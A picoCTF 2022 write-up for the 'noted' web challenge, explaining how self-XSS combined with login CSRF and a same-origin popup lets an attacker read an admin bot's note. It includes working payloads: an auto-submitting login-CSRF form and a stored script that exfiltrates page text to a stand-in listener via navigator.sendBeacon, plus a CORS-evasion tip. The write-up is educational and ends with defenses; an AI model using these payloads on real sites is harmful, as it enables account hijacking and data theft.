noted picoCTF 2022 Solution

Published: July 20, 2023
\n\n
\n \n \n
\n"}},{"@type":"HowToStep","position":3,"name":"Read the admin's flag note across windows and exfiltrate","text":"From your stored XSS (now executing because the bot's main window is logged in as you), reach into the popup window's document, read the admin's flag-note text, and POST it to your listener.","tool":{"@type":"HowToTool","name":"\n"}}]}

Description

A note-taking app with an admin bot. The catch that makes this hard: the XSS is self-XSS (you can only ever view your own notes, so your script runs in your own session, not the admin's), and the app has CSRF protection on the sensitive actions. The flag lives in the admin bot's own note. The real solution is a multi-window client-side attack: log the bot into your account via login CSRF, then read the admin's flag note out of a second window with your stored XSS.

Register an account and confirm you can only see your own notes (self-XSS), and that note rendering executes injected script.

Find the login form and check whether the LOGIN action has CSRF protection (it does not, which is the lever).

Set up a public listener (webhook.site / ngrok) to receive the exfiltrated flag text.

bash
# Register, create a note containing a <script> payload, view it to confirm execution
bash
# Inspect the login POST - note the missing CSRF token on login specifically

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand why plain cookie theft does not work
    Observation
    I noticed the XSS is self-XSS (notes only render in the note owner's own session) and the flag lives in the admin's note, which suggested that any direct cookie-theft approach would fail because your script never runs in the admin's session and their cookie is likely HttpOnly.
    The XSS is self-XSS: your stored script only ever runs when YOU view YOUR note, in your own session. The admin never renders your note in their session, so you cannot directly run code as admin or read their cookie. The flag is text inside the admin's own note page. The plan is to get the admin's flag-note page open in one window and your XSS running in another same-origin window, then read across.
    Learn more

    Self-XSS is normally considered low impact because the victim has to attack themselves. Here it becomes powerful only when combined with a second bug (login CSRF) that lets you control which account the admin's browser is logged into, turning "your script in your session" into a same-origin foothold next to the admin's data.

  2. Step 2
    Login CSRF to swap the bot into your account
    Observation
    I noticed during setup that the login POST has no CSRF token while all other sensitive actions do, which suggested that silently logging the admin bot into an attacker-controlled account via a forged login form was the missing lever to make the self-XSS payload execute inside the bot's browser.
    Build an attacker page that (1) opens the admin's flag-note page in a popup window (the bot is authenticated as admin, so the popup loads the flag note), then (2) auto-submits a login form to log the bot's MAIN window into YOUR account (login CSRF, since login has no token). Now the main window navigates to your note, which runs your XSS - and the popup still holds the admin's flag-note DOM, same-origin.
    js
    <!-- attacker page reported to the admin bot -->
    <script>
      // 1) open the admin's own flag note in a named popup (loads as admin)
      var w = window.open('http://CHALLENGE/notes', 'victim');
    </script>
    <!-- 2) login-CSRF: log the bot's main window into YOUR account -->
    <form action="http://CHALLENGE/login" method="POST">
      <input name="username" value="ATTACKER">
      <input name="password" value="ATTACKER_PW">
    </form>
    <script>document.forms[0].submit();</script>

    Exact field names, the flag-note URL, and the order of operations come from the app source; the principle is: admin's flag page in one same-origin window, your XSS-bearing note in the other.

    What didn't work first

    Tried: Trying to steal the admin's cookie with document.cookie instead of swapping sessions via login CSRF.

    The admin's session cookie is likely HttpOnly, so document.cookie returns an empty string from your self-XSS payload. Even if it were readable, you still only run code in your own session, never in the admin's, so you cannot access their cookie from your note. Login CSRF is necessary because it moves the admin's browser into your account, where your stored XSS actually runs.

    Tried: Submitting the login-CSRF form before opening the popup window, expecting to still have an admin-session popup.

    If the form submission happens first, the main window navigates to your account immediately and the admin session is gone before window.open runs. The popup would then open as you, not as the admin, and the flag note would be absent. The popup must be opened first while the admin session is still active, then the login CSRF fires to swap the main window.

    Learn more

    Login CSRF is the underused half of CSRF: instead of forging a state change in the victim's account, you force the victim to authenticate as you. Because the two windows are same-origin after this, the Same-Origin Policy permits your script to read the other window's DOM via the window.open handle.

  3. Step 3
    Read the admin's flag note across windows and exfiltrate
    Observation
    I noticed that after the login CSRF fires, the bot's main window (now logged into the attacker account) is same-origin with the still-open admin note popup, which suggested that the named window handle from window.open lets the XSS payload reach into the popup's DOM and extract the flag text directly.
    From your stored XSS (now executing because the bot's main window is logged in as you), reach into the popup window's document, read the admin's flag-note text, and POST it to your listener.
    js
    <!-- payload stored in YOUR note, runs in the bot's main window after the login CSRF -->
    <script>
      var v = window.open('', 'victim');           // re-grab the same-named popup
      setTimeout(function(){
        var flag = v.document.body.innerText;        // admin's flag note, same-origin
        navigator.sendBeacon('https://YOUR-LISTENER/?f=' + encodeURIComponent(flag));
      }, 1500);
    </script>
    bash
    # Watch your webhook.site / listener for the flag text
    What didn't work first

    Tried: Using window.open('', 'victim') immediately without a setTimeout, expecting the admin's note DOM to already be ready.

    The popup may still be navigating when the XSS fires, so v.document.body.innerText returns an empty string or throws a cross-origin error if the page has not yet committed to the same origin. The setTimeout (or a load event listener on the popup) is needed to wait until the admin's flag-note page has fully loaded and is readable.

    Tried: Sending the flag with fetch() or XMLHttpRequest instead of navigator.sendBeacon, expecting the exfiltration to succeed.

    fetch() and XHR to an external domain are blocked by the browser's CORS policy if the listener does not return the correct Access-Control-Allow-Origin header. navigator.sendBeacon uses a fire-and-forget POST that is not subject to the same preflight check, so it reliably delivers the data to a plain HTTP listener that does not set CORS headers.

    Learn more

    The defense that breaks this whole chain is a CSRF token on the login form (so the bot cannot be silently logged into your account) plus framing/opener restrictions. With login protected, the self-XSS stays self-contained and the admin's note is unreadable.

Flag

Reveal flag

picoCTF{...}

Self-XSS plus login CSRF, not simple cookie theft. Open the admin's flag note in a same-origin popup, login-CSRF the bot's main window into your account so your stored XSS runs, then read the popup's DOM across windows and exfiltrate the flag. (Not solved during the competition; flag held back.)

Key takeaway

Self-XSS is normally harmless because only the victim can trigger their own script, but it escalates dramatically when combined with login CSRF: forcing a target's browser to authenticate as your account makes your stored payload execute in their browser, in a context same-origin with their sensitive data. The Same-Origin Policy allows scripts to read across windows that share an origin, so opening a privileged page in a popup before swapping sessions gives your script a cross-window read. Defending against this class of attack requires CSRF tokens on the login endpoint itself, not just on state-changing actions.

Related reading

Want more picoCTF 2022 writeups?

Useful tools for Web Exploitation

What to try next